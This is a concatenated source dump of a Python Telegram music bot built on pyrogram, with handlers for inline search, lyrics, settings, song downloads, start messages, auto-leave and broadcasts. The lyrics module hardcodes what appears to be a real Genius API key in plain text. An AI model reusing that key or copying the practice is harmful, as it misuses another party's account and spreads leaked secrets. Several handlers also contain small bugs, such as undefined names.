➻ ɪɴʟɪɴᴇ sᴇᴀʀᴄʜ ᴍᴏᴅᴇ ʙʏ {app.name}"""
answers.append(
InlineQueryResultPhoto(
photo_url=thumbnail,
title=title,
thumb_url=thumbnail,
description=description,
caption=searched_text,
reply_markup=buttons,
)
)
try:
return await client.answer_inline_query(query.id, results=answers)
except:
return
================================================
FILE: BrandrdXMusic/plugins/bot/lyrics.py
================================================
import random
import re
import string
import lyricsgenius as lg
from pyrogram import Client, filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
from BrandrdXMusic import app
from BrandrdXMusic.utils.decorators.language import language
from config import BANNED_USERS, lyrical
api_key = "fcXGwudRZTE8zdMOYKNMoRGIWfBjca_4s5wF5keHeCTd68yURmceO4MGhAbyx-qp"
y = lg.Genius(
api_key,
skip_non_songs=True,
excluded_terms=["(Remix)", "(Live)"],
remove_section_headers=True,
)
y.verbose = False
@app.on_message(filters.command(["lyrics"]) & ~BANNED_USERS)
async def lrsearch(client, message: Message):
if len(message.command) < 2:
return await message.reply_text(_["lyrics_1"])
title = message.text.split(None, 1)[1]
m = await message.reply_text(_["lyrics_2"])
S = y.search_song(title, get_full_info=False)
if S is None:
return await m.edit(_["lyrics_3"].format(title))
ran_hash = "".join(random.choices(string.ascii_uppercase + string.digits, k=10))
lyric = S.lyrics
if "Embed" in lyric:
lyric = re.sub(r"\d*Embed", "", lyric)
lyrical[ran_hash] = lyric
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=_["L_B_1"],
url=f"https://t.me/{app.username}?start=lyrics_{ran_hash}",
),
]
]
)
await m.edit(_["lyrics_4"], reply_markup=upl)
================================================
FILE: BrandrdXMusic/plugins/bot/settings.py
================================================
from pyrogram import filters
from pyrogram.enums import ChatType
from pyrogram.errors import MessageNotModified
from pyrogram.types import (
CallbackQuery,
InlineKeyboardButton,
InlineKeyboardMarkup,
Message,
InputMediaPhoto,
InputMediaVideo,
)
from BrandrdXMusic import app
from BrandrdXMusic.utils.database import (
add_nonadmin_chat,
get_authuser,
get_authuser_names,
get_playmode,
get_playtype,
get_upvote_count,
is_nonadmin_chat,
is_skipmode,
remove_nonadmin_chat,
set_playmode,
set_playtype,
set_upvotes,
skip_off,
skip_on,
)
from BrandrdXMusic.utils.decorators.admins import ActualAdminCB
from BrandrdXMusic.utils.decorators.language import language, languageCB
from BrandrdXMusic.utils.inline.settings import (
auth_users_markup,
playmode_users_markup,
setting_markup,
vote_mode_markup,
)
from BrandrdXMusic.utils.inline.start import private_panel
from config import BANNED_USERS, OWNER_ID, MUSIC_BOT_NAME, START_IMG_URL
@app.on_message(
filters.command(["settings", "setting"]) & filters.group & ~BANNED_USERS
)
@language
async def settings_mar(client, message: Message, _):
buttons = setting_markup(_)
await message.reply_text(
_["setting_1"].format(app.mention, message.chat.id, message.chat.title),
reply_markup=InlineKeyboardMarkup(buttons),
)
@app.on_callback_query(filters.regex("gib_source") & ~BANNED_USERS)
@languageCB
async def gib_repo(client, CallbackQuery, _):
await CallbackQuery.edit_message_media(
InputMediaVideo("https://te.legra.ph/file/ef47f077b671f69f8d8f0.mp4"),
reply_markup=InlineKeyboardMarkup(
[[InlineKeyboardButton(text="ʙᴀᴄᴋ", callback_data=f"settingsback_helper")]]
),
)
@app.on_callback_query(
filters.regex("settings_helper") & ~BANNED_USERS
)
@languageCB
async def settings_cb(client, CallbackQuery, _):
try:
await CallbackQuery.answer(_["set_cb_5"])
except:
pass
buttons = setting_markup(_)
return await CallbackQuery.edit_message_text(
_["setting_1"].format(
CallbackQuery.message.chat.title,
CallbackQuery.message.chat.id,
),
reply_markup=InlineKeyboardMarkup(buttons),
)
@app.on_callback_query(filters.regex("settingsback_helper") & ~BANNED_USERS)
@languageCB
async def settings_back_markup(client, CallbackQuery: CallbackQuery, _):
try:
await CallbackQuery.answer()
except:
pass
if CallbackQuery.message.chat.type == ChatType.PRIVATE:
await app.resolve_peer(OWNER_ID)
OWNER = OWNER_ID
buttons = private_panel(_)
return await CallbackQuery.edit_message_media(
InputMediaPhoto(
media=START_IMG_URL,
caption=_["start_2"].format(
CallbackQuery.from_user.first_name, app.mention),
),
reply_markup=InlineKeyboardMarkup(buttons),
)
else:
buttons = setting_markup(_)
return await CallbackQuery.edit_message_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
@app.on_callback_query(
filters.regex(
pattern=r"^(SEARCHANSWER|PLAYMODEANSWER|PLAYTYPEANSWER|AUTHANSWER|ANSWERVOMODE|VOTEANSWER|PM|AU|VM)$"
)
& ~BANNED_USERS
)
@languageCB
async def without_Admin_rights(client, CallbackQuery, _):
command = CallbackQuery.matches[0].group(1)
if command == "SEARCHANSWER":
try:
return await CallbackQuery.answer(_["setting_2"], show_alert=True)
except:
return
if command == "PLAYMODEANSWER":
try:
return await CallbackQuery.answer(_["setting_5"], show_alert=True)
except:
return
if command == "PLAYTYPEANSWER":
try:
return await CallbackQuery.answer(_["setting_6"], show_alert=True)
except:
return
if command == "AUTHANSWER":
try:
return await CallbackQuery.answer(_["setting_3"], show_alert=True)
except:
return
if command == "VOTEANSWER":
try:
return await CallbackQuery.answer(
_["setting_8"],
show_alert=True,
)
except:
return
if command == "ANSWERVOMODE":
current = await get_upvote_count(CallbackQuery.message.chat.id)
try:
return await CallbackQuery.answer(
_["setting_9"].format(current),
show_alert=True,
)
except:
return
if command == "PM":
try:
await CallbackQuery.answer(_["set_cb_2"], show_alert=True)
except:
pass
playmode = await get_playmode(CallbackQuery.message.chat.id)
if playmode == "Direct":
Direct = True
else:
Direct = None
is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
if not is_non_admin:
Group = True
else:
Group = None
playty = await get_playtype(CallbackQuery.message.chat.id)
if playty == "Everyone":
Playtype = None
else:
Playtype = True
buttons = playmode_users_markup(_, Direct, Group, Playtype)
if command == "AU":
try:
await CallbackQuery.answer(_["set_cb_1"], show_alert=True)
except:
pass
is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
if not is_non_admin:
buttons = auth_users_markup(_, True)
else:
buttons = auth_users_markup(_)
if command == "VM":
mode = await is_skipmode(CallbackQuery.message.chat.id)
current = await get_upvote_count(CallbackQuery.message.chat.id)
buttons = vote_mode_markup(_, current, mode)
try:
return await CallbackQuery.edit_message_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
except MessageNotModified:
return
@app.on_callback_query(filters.regex("FERRARIUDTI") & ~BANNED_USERS)
@ActualAdminCB
async def addition(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
mode = callback_data.split(None, 1)[1]
if not await is_skipmode(CallbackQuery.message.chat.id):
return await CallbackQuery.answer(_["setting_10"], show_alert=True)
current = await get_upvote_count(CallbackQuery.message.chat.id)
if mode == "M":
final = current - 2
print(final)
if final == 0:
return await CallbackQuery.answer(
_["setting_11"],
show_alert=True,
)
if final <= 2:
final = 2
await set_upvotes(CallbackQuery.message.chat.id, final)
else:
final = current + 2
print(final)
if final == 17:
return await CallbackQuery.answer(
_["setting_12"],
show_alert=True,
)
if final >= 15:
final = 15
await set_upvotes(CallbackQuery.message.chat.id, final)
buttons = vote_mode_markup(_, final, True)
try:
return await CallbackQuery.edit_message_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
except MessageNotModified:
return
@app.on_callback_query(
filters.regex(pattern=r"^(MODECHANGE|CHANNELMODECHANGE|PLAYTYPECHANGE)$")
& ~BANNED_USERS
)
@ActualAdminCB
async def playmode_ans(client, CallbackQuery, _):
command = CallbackQuery.matches[0].group(1)
if command == "CHANNELMODECHANGE":
is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
if not is_non_admin:
await add_nonadmin_chat(CallbackQuery.message.chat.id)
Group = None
else:
await remove_nonadmin_chat(CallbackQuery.message.chat.id)
Group = True
playmode = await get_playmode(CallbackQuery.message.chat.id)
if playmode == "Direct":
Direct = True
else:
Direct = None
playty = await get_playtype(CallbackQuery.message.chat.id)
if playty == "Everyone":
Playtype = None
else:
Playtype = True
buttons = playmode_users_markup(_, Direct, Group, Playtype)
if command == "MODECHANGE":
try:
await CallbackQuery.answer(_["set_cb_3"], show_alert=True)
except:
pass
playmode = await get_playmode(CallbackQuery.message.chat.id)
if playmode == "Direct":
await set_playmode(CallbackQuery.message.chat.id, "Inline")
Direct = None
else:
await set_playmode(CallbackQuery.message.chat.id, "Direct")
Direct = True
is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
if not is_non_admin:
Group = True
else:
Group = None
playty = await get_playtype(CallbackQuery.message.chat.id)
if playty == "Everyone":
Playtype = False
else:
Playtype = True
buttons = playmode_users_markup(_, Direct, Group, Playtype)
if command == "PLAYTYPECHANGE":
try:
await CallbackQuery.answer(_["set_cb_3"], show_alert=True)
except:
pass
playty = await get_playtype(CallbackQuery.message.chat.id)
if playty == "Everyone":
await set_playtype(CallbackQuery.message.chat.id, "Admin")
Playtype = False
else:
await set_playtype(CallbackQuery.message.chat.id, "Everyone")
Playtype = True
playmode = await get_playmode(CallbackQuery.message.chat.id)
if playmode == "Direct":
Direct = True
else:
Direct = None
is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
if not is_non_admin:
Group = True
else:
Group = None
buttons = playmode_users_markup(_, Direct, Group, Playtype)
try:
return await CallbackQuery.edit_message_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
except MessageNotModified:
return
@app.on_callback_query(filters.regex(pattern=r"^(AUTH|AUTHLIST)$") & ~BANNED_USERS)
@ActualAdminCB
async def authusers_mar(client, CallbackQuery, _):
command = CallbackQuery.matches[0].group(1)
if command == "AUTHLIST":
_authusers = await get_authuser_names(CallbackQuery.message.chat.id)
if not _authusers:
try:
return await CallbackQuery.answer(_["setting_4"], show_alert=True)
except:
return
else:
try:
await CallbackQuery.answer(_["set_cb_4"], show_alert=True)
except:
pass
j = 0
await CallbackQuery.edit_message_text(_["auth_6"])
msg = _["auth_7"].format(CallbackQuery.message.chat.title)
for note in _authusers:
_note = await get_authuser(CallbackQuery.message.chat.id, note)
user_id = _note["auth_user_id"]
admin_id = _note["admin_id"]
admin_name = _note["admin_name"]
try:
user = await app.get_users(user_id)
user = user.first_name
j += 1
except:
continue
msg += f"{j}➤ {user}[{user_id}]\n"
msg += f" {_['auth_8']} {admin_name}[{admin_id}]\n\n"
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text=_["BACK_BUTTON"], callback_data=f"AU"
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data=f"close",
),
]
]
)
try:
return await CallbackQuery.edit_message_text(msg, reply_markup=upl)
except MessageNotModified:
return
try:
await CallbackQuery.answer(_["set_cb_3"], show_alert=True)
except:
pass
if command == "AUTH":
is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
if not is_non_admin:
await add_nonadmin_chat(CallbackQuery.message.chat.id)
buttons = auth_users_markup(_)
else:
await remove_nonadmin_chat(CallbackQuery.message.chat.id)
buttons = auth_users_markup(_, True)
try:
return await CallbackQuery.edit_message_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
except MessageNotModified:
return
@app.on_callback_query(filters.regex("VOMODECHANGE") & ~BANNED_USERS)
@ActualAdminCB
async def vote_change(client, CallbackQuery, _):
command = CallbackQuery.matches[0].group(1)
try:
await CallbackQuery.answer(_["set_cb_3"], show_alert=True)
except:
pass
mod = None
if await is_skipmode(CallbackQuery.message.chat.id):
await skip_off(CallbackQuery.message.chat.id)
else:
mod = True
await skip_on(CallbackQuery.message.chat.id)
current = await get_upvote_count(CallbackQuery.message.chat.id)
buttons = vote_mode_markup(_, current, mod)
try:
return await CallbackQuery.edit_message_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
except MessageNotModified:
return
================================================
FILE: BrandrdXMusic/plugins/bot/songs.py
================================================
import os
import re
import yt_dlp
from pyrogram import Client, filters
from pyrogram.types import (
CallbackQuery,
InlineKeyboardButton,
InlineKeyboardMarkup,
InputMediaAudio,
InputMediaVideo,
Message,
)
from config import (
BANNED_USERS,
SONG_DOWNLOAD_DURATION,
SONG_DOWNLOAD_DURATION_LIMIT,
)
from BrandrdXMusic import YouTube, app
from BrandrdXMusic.utils.decorators.language import language, languageCB
from BrandrdXMusic.utils.formatters import convert_bytes
from BrandrdXMusic.utils.inline.song import song_markup
# Song Module
@app.on_message(filters.command(["song"]))
@language
async def song_commad_private(client, message: Message, _):
await message.delete()
url = await YouTube.url(message)
if url:
if not await YouTube.exists(url):
return await message.reply_text(_["song_5"])
mystic = await message.reply_text(_["play_1"])
(
title,
duration_min,
duration_sec,
thumbnail,
vidid,
) = await YouTube.details(url)
if str(duration_min) == "None":
return await mystic.edit_text(_["song_3"])
if int(duration_sec) > SONG_DOWNLOAD_DURATION_LIMIT:
return await mystic.edit_text(
_["play_4"].format(
SONG_DOWNLOAD_DURATION, duration_min
)
)
buttons = song_markup(_, vidid)
await mystic.delete()
await message.reply_photo(
thumbnail,
caption=_["song_4"].format(title),
reply_markup=InlineKeyboardMarkup(buttons),
)
else:
if len(message.command) < 2:
return await message.reply_text(_["song_2"])
mystic = await message.reply_text(_["play_1"])
query = message.text.split(None, 1)[1]
try:
(
title,
duration_min,
duration_sec,
thumbnail,
vidid,
) = await YouTube.details(query)
except:
return await mystic.edit_text(_["play_3"])
if str(duration_min) == "None":
return await mystic.edit_text(_["song_3"])
if int(duration_sec) > SONG_DOWNLOAD_DURATION_LIMIT:
return await mystic.edit_text(
_["play_6"].format(SONG_DOWNLOAD_DURATION, duration_min)
)
buttons = song_markup(_, vidid)
await mystic.delete()
await message.reply_photo(
thumbnail,
caption=_["song_4"].format(title),
reply_markup=InlineKeyboardMarkup(buttons),
)
@app.on_callback_query(filters.regex(pattern=r"song_back") & ~BANNED_USERS)
@languageCB
async def songs_back_helper(client, callback_query: CallbackQuery, _):
callback_data = callback_query.data.strip()
callback_request = callback_data.split(None, 1)[1]
stype, vidid = callback_request.split("|")
buttons = song_markup(_, vidid)
await callback_query.edit_message_reply_markup(
reply_markup=InlineKeyboardMarkup(buttons)
)
@app.on_callback_query(filters.regex(pattern=r"song_helper") & ~BANNED_USERS)
@languageCB
async def song_helper_cb(client, callback_query: CallbackQuery, _):
callback_data = callback_query.data.strip()
callback_request = callback_data.split(None, 1)[1]
stype, vidid = callback_request.split("|")
try:
await callback_query.answer(_["song_6"], show_alert=True)
except:
pass
if stype == "audio":
try:
formats_available, link = await YouTube.formats(
vidid, True
)
except:
return await callback_query.edit_message_text(_["song_7"])
keyboard = InlineKeyboardMarkup(inline_keyboard=[])
done = []
for x in formats_available:
check = x["format"]
if "audio" in check:
if x["filesize"] is None:
continue
form = x["format_note"].title()
if form not in done:
done.append(form)
else:
continue
sz = convert_bytes(x["filesize"])
fom = x["format_id"]
keyboard.inline_keyboard.append(
[
InlineKeyboardButton(
text=f"{form} Quality Audio = {sz}",
callback_data=f"song_download {stype}|{fom}|{vidid}",
),
]
)
keyboard.inline_keyboard.append(
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data=f"song_back {stype}|{vidid}",
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data=f"close"
),
]
)
await callback_query.edit_message_reply_markup(
reply_markup=keyboard
)
else:
try:
formats_available, link = await YouTube.formats(
vidid, True
)
except Exception as e:
print(e)
return await callback_query.edit_message_text(_["song_7"])
keyboard = InlineKeyboardMarkup(inline_keyboard=[])
done = [160, 133, 134, 135, 136, 137, 298, 299, 264, 304, 266]
for x in formats_available:
check = x["format"]
if x["filesize"] is None:
continue
if int(x["format_id"]) not in done:
continue
sz = convert_bytes(x["filesize"])
ap = check.split("-")[1]
to = f"{ap} = {sz}"
keyboard.inline_keyboard.append(
[
InlineKeyboardButton(
text=to,
callback_data=f"song_download {stype}|{x['format_id']}|{vidid}",
),
]
)
keyboard.inline_keyboard.append(
[
InlineKeyboardButton(
text=_["BACK_BUTTON"],
callback_data=f"song_back {stype}|{vidid}",
),
InlineKeyboardButton(
text=_["CLOSE_BUTTON"],
callback_data=f"close"
),
]
)
await callback_query.edit_message_reply_markup(
reply_markup=keyboard
)
# Downloading Songs Here
@app.on_callback_query(
filters.regex(pattern=r"song_download") & ~BANNED_USERS
)
@languageCB
async def song_download_cb(client, callback_query: CallbackQuery, _) :
try:
await callback_query.answer("ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ...")
except:
pass
callback_data = callback_query.data.strip()
callback_request = callback_data.split(None, 1)[1]
stype, format_id, vidid = callback_request.split("|")
mystic = await callback_query.edit_message_text(_["song_8"])
yturl = f"https://www.youtube.com/watch?v={vidid}"
with yt_dlp.YoutubeDL({"quiet": True}) as ytdl:
x = ytdl.extract_info(yturl, download=False)
title = (x["title"]).title()
title = re.sub("\W+", " ", title)
thumb_image_path = await callback_query.message.download()
duration = x["duration"]
if stype == "video":
thumb_image_path = await callback_query.message.download()
width = callback_query.message.photo.width
height = callback_query.message.photo.height
try:
file_path = await YouTube.download(
yturl,
mystic,
songvideo=True,
format_id=format_id,
title=title,
)
except Exception as e:
return await mystic.edit_text(_["song_9"].format(e))
med = InputMediaVideo(
media=file_path,
duration=duration,
width=width,
height=height,
thumb=thumb_image_path,
caption=title,
supports_streaming=True,
)
await mystic.edit_text(_["song_11"])
await app.send_chat_action(
chat_id=callback_query.message.chat.id,
action="upload_video",
)
try:
await callback_query.edit_message_media(media=med)
except Exception as e:
print(e)
return await mystic.edit_text(_["song_10"])
os.remove(file_path)
elif stype == "audio":
try:
filename = await YouTube.download(
yturl,
mystic,
songaudio=True,
format_id=format_id,
title=title,
)
except Exception as e:
return await mystic.edit_text(_["song_9"].format(e))
med = InputMediaAudio(
media=filename,
caption=title,
thumb=thumb_image_path,
title=title,
performer=x["uploader"],
)
await mystic.edit_text(_["song_11"])
await app.send_chat_action(
chat_id=callback_query.message.chat.id,
action="upload_audio",
)
try:
await callback_query.edit_message_media(media=med)
except Exception as e:
print(e)
return await mystic.edit_text(_["song_10"])
os.remove(filename)
================================================
FILE: BrandrdXMusic/plugins/bot/start.py
================================================
import time
import asyncio
from pyrogram import filters
from pyrogram.enums import ChatType
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
from youtubesearchpython.__future__ import VideosSearch
import config
from BrandrdXMusic import app
from BrandrdXMusic.misc import _boot_
from BrandrdXMusic.plugins.sudo.sudoers import sudoers_list
from BrandrdXMusic.utils.database import (
add_served_chat,
add_served_user,
blacklisted_chats,
get_lang,
is_banned_user,
is_on_off,
)
from BrandrdXMusic.utils.decorators.language import LanguageStart
from BrandrdXMusic.utils.formatters import get_readable_time
from BrandrdXMusic.utils.inline import help_pannel, private_panel, start_panel
from config import BANNED_USERS
from strings import get_string
@app.on_message(filters.command(["start"]) & filters.private & ~BANNED_USERS)
@LanguageStart
async def start_pm(client, message: Message, _):
await add_served_user(message.from_user.id)
await message.react("❤")
if len(message.text.split()) > 1:
name = message.text.split(None, 1)[1]
if name[0:4] == "help":
keyboard = help_pannel(_)
await message.reply_sticker("CAACAgUAAxkBAAEQI1RlTLnRAy4h9lOS6jgS5FYsQoruOAAC1gMAAg6ryVcldUr_lhPexzME")
return await message.reply_photo(
photo=config.START_IMG_URL,
caption=_["help_1"].format(config.SUPPORT_CHAT),
reply_markup=keyboard,
)
if name[0:3] == "sud":
await sudoers_list(client=client, message=message, _=_)
if await is_on_off(2):
return await app.send_message(
chat_id=config.LOGGER_ID,
text=f"{message.from_user.mention} ᴊᴜsᴛ sᴛᴀʀᴛᴇᴅ ᴛʜᴇ ʙᴏᴛ ᴛᴏ ᴄʜᴇᴄᴋ sᴜᴅᴏʟɪsᴛ.\n\nᴜsᴇʀ ɪᴅ : {message.from_user.id}\nᴜsᴇʀɴᴀᴍᴇ : @{message.from_user.username}",
)
return
if name[0:3] == "inf":
m = await message.reply_text("🔎")
query = (str(name)).replace("info_", "", 1)
query = f"https://www.youtube.com/watch?v={query}"
results = VideosSearch(query, limit=1)
for result in (await results.next())["result"]:
title = result["title"]
duration = result["duration"]
views = result["viewCount"]["short"]
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
channellink = result["channel"]["link"]
channel = result["channel"]["name"]
link = result["link"]
published = result["publishedTime"]
searched_text = _["start_6"].format(
title, duration, views, published, channellink, channel, app.mention
)
key = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(text=_["S_B_8"], url=link),
InlineKeyboardButton(text=_["S_B_9"], url=config.SUPPORT_CHAT),
],
]
)
await m.delete()
await app.send_photo(
chat_id=message.chat.id,
photo=thumbnail,
caption=searched_text,
reply_markup=key,
)
if await is_on_off(2):
return await app.send_message(
chat_id=config.LOGGER_ID,
text=f"{message.from_user.mention} ᴊᴜsᴛ sᴛᴀʀᴛᴇᴅ ᴛʜᴇ ʙᴏᴛ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʀᴀᴄᴋ ɪɴғᴏʀᴍᴀᴛɪᴏɴ.\n\nᴜsᴇʀ ɪᴅ : {message.from_user.id}\nᴜsᴇʀɴᴀᴍᴇ : @{message.from_user.username}",
)
else:
try:
out = private_panel(_)
lol = await message.reply_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ︎ {}.. ❣️".format(message.from_user.mention))
await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 🥳".format(message.from_user.mention))
await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 💥".format(message.from_user.mention))
await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 🤩".format(message.from_user.mention))
await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 💌".format(message.from_user.mention))
await lol.edit_text("𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 💞".format(message.from_user.mention))
await lol.delete()
lols = await message.reply_text("**⚡️ѕ**")
await asyncio.sleep(0.1)
await lols.edit_text("⚡ѕт")
await asyncio.sleep(0.1)
await lols.edit_text("**⚡ѕтα**")
await asyncio.sleep(0.1)
await lols.edit_text("**⚡ѕтαя**")
await asyncio.sleep(0.1)
await lols.edit_text("**⚡ѕтαят**")
await asyncio.sleep(0.1)
await lols.edit_text("**⚡ѕтαятι**")
await asyncio.sleep(0.1)
await lols.edit_text("**⚡ѕтαятιи**")
await asyncio.sleep(0.1)
await lols.edit_text("**⚡ѕтαятιиg**")
await asyncio.sleep(0.1)
await lols.edit_text("**⚡ѕтαятιиg.**")
await lols.edit_text("**⚡ѕтαятιиg....**")
await lols.edit_text("**⚡ѕтαятιиg.**")
await lols.edit_text("**⚡ѕтαятιиg....**")
m = await message.reply_sticker("CAACAgUAAxkBAAEQI1BlTLmx7PtOO3aPNshEU2gCy7iAFgACNQUAApqMuVeA6eJ50VbvmDME")
if message.chat.photo:
userss_photo = await app.download_media(
message.chat.photo.big_file_id,
)
else:
userss_photo = "assets/nodp.png"
if userss_photo:
chat_photo = userss_photo
chat_photo = userss_photo if userss_photo else START_IMG_URL
except AttributeError:
chat_photo = "assets/nodp.png"
await lols.delete()
await m.delete()
await message.reply_photo(
photo=chat_photo,
caption=_["start_2"].format(message.from_user.mention, app.mention),
reply_markup=InlineKeyboardMarkup(out),
)
if await is_on_off(config.LOG):
sender_id = message.from_user.id
sender_name = message.from_user.first_name
return await app.send_message(
config.LOG_GROUP_ID,
f"{message.from_user.mention} ʜᴀs sᴛᴀʀᴛᴇᴅ ʙᴏᴛ. \n\n**ᴜsᴇʀ ɪᴅ : {sender_id}\n**ᴜsᴇʀ ɴᴀᴍᴇ: {sender_name}",
)
@app.on_message(filters.command(["start"]) & filters.group & ~BANNED_USERS)
@LanguageStart
async def start_gp(client, message: Message, _):
out = start_panel(_)
uptime = int(time.time() - _boot_)
await message.reply_photo(
photo=config.START_IMG_URL,
caption=_["start_1"].format(app.mention, get_readable_time(uptime)),
reply_markup=InlineKeyboardMarkup(out),
)
return await add_served_chat(message.chat.id)
@app.on_message(filters.new_chat_members, group=-1)
async def welcome(client, message: Message):
for member in message.new_chat_members:
try:
language = await get_lang(message.chat.id)
_ = get_string(language)
if await is_banned_user(member.id):
try:
await message.chat.ban_member(member.id)
except:
pass
if member.id == app.id:
if message.chat.type != ChatType.SUPERGROUP:
await message.reply_text(_["start_4"])
return await app.leave_chat(message.chat.id)
if message.chat.id in await blacklisted_chats():
await message.reply_text(
_["start_5"].format(
app.mention,
f"https://t.me/{app.username}?start=sudolist",
config.SUPPORT_CHAT,
),
disable_web_page_preview=True,
)
return await app.leave_chat(message.chat.id)
out = start_panel(_)
await message.reply_photo(
photo=config.START_IMG_URL,
caption=_["start_3"].format(
message.from_user.first_name,
app.mention,
message.chat.title,
app.mention,
),
reply_markup=InlineKeyboardMarkup(out),
)
await add_served_chat(message.chat.id)
await message.stop_propagation()
except Exception as ex:
print(ex)
================================================
FILE: BrandrdXMusic/plugins/misc/autoleave.py
================================================
import asyncio
from datetime import datetime
from pyrogram.enums import ChatType
import config
from BrandrdXMusic import app
from BrandrdXMusic.core.call import Hotty, autoend
from BrandrdXMusic.utils.database import get_client, is_active_chat, is_autoend
async def auto_leave():
if config.AUTO_LEAVING_ASSISTANT:
while not await asyncio.sleep(900):
from BrandrdXMusic.core.userbot import assistants
for num in assistants:
client = await get_client(num)
left = 0
try:
async for i in client.get_dialogs():
if i.chat.type in [
ChatType.SUPERGROUP,
ChatType.GROUP,
ChatType.CHANNEL,
]:
if (
i.chat.id != config.LOGGER_ID
and i.chat.id != -1001626004802
and i.chat.id != -1001876397776
):
if left == 20:
continue
if not await is_active_chat(i.chat.id):
try:
await client.leave_chat(i.chat.id)
left += 1
except:
continue
except:
pass
asyncio.create_task(auto_leave())
async def auto_end():
while not await asyncio.sleep(5):
ender = await is_autoend()
if not ender:
continue
for chat_id in autoend:
timer = autoend.get(chat_id)
if not timer:
continue
if datetime.now() > timer:
if not await is_active_chat(chat_id):
autoend[chat_id] = {}
continue
autoend[chat_id] = {}
try:
await Hotty.stop_stream(chat_id)
except:
continue
try:
await app.send_message(
chat_id,
"» ʙᴏᴛ ᴀᴜᴛᴏᴍᴀᴛɪᴄᴀʟʟʏ ʟᴇғᴛ ᴠɪᴅᴇᴏᴄʜᴀᴛ ʙᴇᴄᴀᴜsᴇ ɴᴏ ᴏɴᴇ ᴡᴀs ʟɪsᴛᴇɴɪɴɢ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.",
)
except:
continue
asyncio.create_task(auto_end())
================================================
FILE: BrandrdXMusic/plugins/misc/broadcast.py
================================================
import asyncio
from pyrogram import filters
from pyrogram.enums import ChatMembersFilter
from pyrogram.errors import FloodWait
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.database import (
get_active_chats,
get_authuser_names,
get_client,
get_served_chats,
get_served_users,
)
from BrandrdXMusic.utils.decorators.language import language
from BrandrdXMusic.utils.formatters import alpha_to_int
from config import adminlist
IS_BROADCASTING = False
@app.on_message(filters.command("broadcast") & SUDOERS)
@language
async def braodcast_message(client, message, _):
global IS_BROADCASTING
if message.reply_to_message:
x = message.reply_to_message.id
y = message.chat.id
else:
if len(message.command) < 2:
return await message.reply_text(_["broad_2"])
query = message.text.split(None, 1)[1]
if "-pin" in query:
query = query.replace("-pin", "")
if "-nobot" in query:
query = query.replace("-nobot", "")
if "-pinloud" in query:
query = query.replace("-pinloud", "")
if "-assistant" in query:
query = query.replace("-assistant", "")
if "-user" in query:
query = query.replace("-user", "")
if query == "":
return await message.reply_text(_["broad_8"])
IS_BROADCASTING = True
await message.reply_text(_["broad_1"])
if "-nobot" not in message.text:
sent = 0
pin = 0
chats = []
schats = await get_served_chats()
for chat in schats:
chats.append(int(chat["chat_id"]))
for i in chats:
try:
m = (
await app.forward_messages(i, y, x)
if message.reply_to_message
else await app.send_message(i, text=query)
)
if "-pin" in message.text:
try:
await m.pin(disable_notification=True)
pin += 1
except:
continue
elif "-pinloud" in message.text:
try:
await m.pin(disable_notification=False)
pin += 1
except:
continue
sent += 1
await asyncio.sleep(0.2)
except FloodWait as fw:
flood_time = int(fw.value)
if flood_time > 200:
continue
await asyncio.sleep(flood_time)
except:
continue
try:
await message.reply_text(_["broad_3"].format(sent, pin))
except:
pass
if "-user" in message.text:
susr = 0
served_users = []
susers = await get_served_users()
for user in susers:
served_users.append(int(user["user_id"]))
for i in served_users:
try:
m = (
await app.forward_messages(i, y, x)
if message.reply_to_message
else await app.send_message(i, text=query)
)
susr += 1
await asyncio.sleep(0.2)
except FloodWait as fw:
flood_time = int(fw.value)
if flood_time > 200:
continue
await asyncio.sleep(flood_time)
except:
pass
try:
await message.reply_text(_["broad_4"].format(susr))
except:
pass
if "-assistant" in message.text:
aw = await message.reply_text(_["broad_5"])
text = _["broad_6"]
from AnonXMusic.core.userbot import assistants
for num in assistants:
sent = 0
client = await get_client(num)
async for dialog in client.get_dialogs():
try:
await client.forward_messages(
dialog.chat.id, y, x
) if message.reply_to_message else await client.send_message(
dialog.chat.id, text=query
)
sent += 1
await asyncio.sleep(3)
except FloodWait as fw:
flood_time = int(fw.value)
if flood_time > 200:
continue
await asyncio.sleep(flood_time)
except:
continue
text += _["broad_7"].format(num, sent)
try:
await aw.edit_text(text)
except:
pass
IS_BROADCASTING = False
async def auto_clean():
while not await asyncio.sleep(10):
try:
served_chats = await get_active_chats()
for chat_id in served_chats:
if chat_id not in adminlist:
adminlist[chat_id] = []
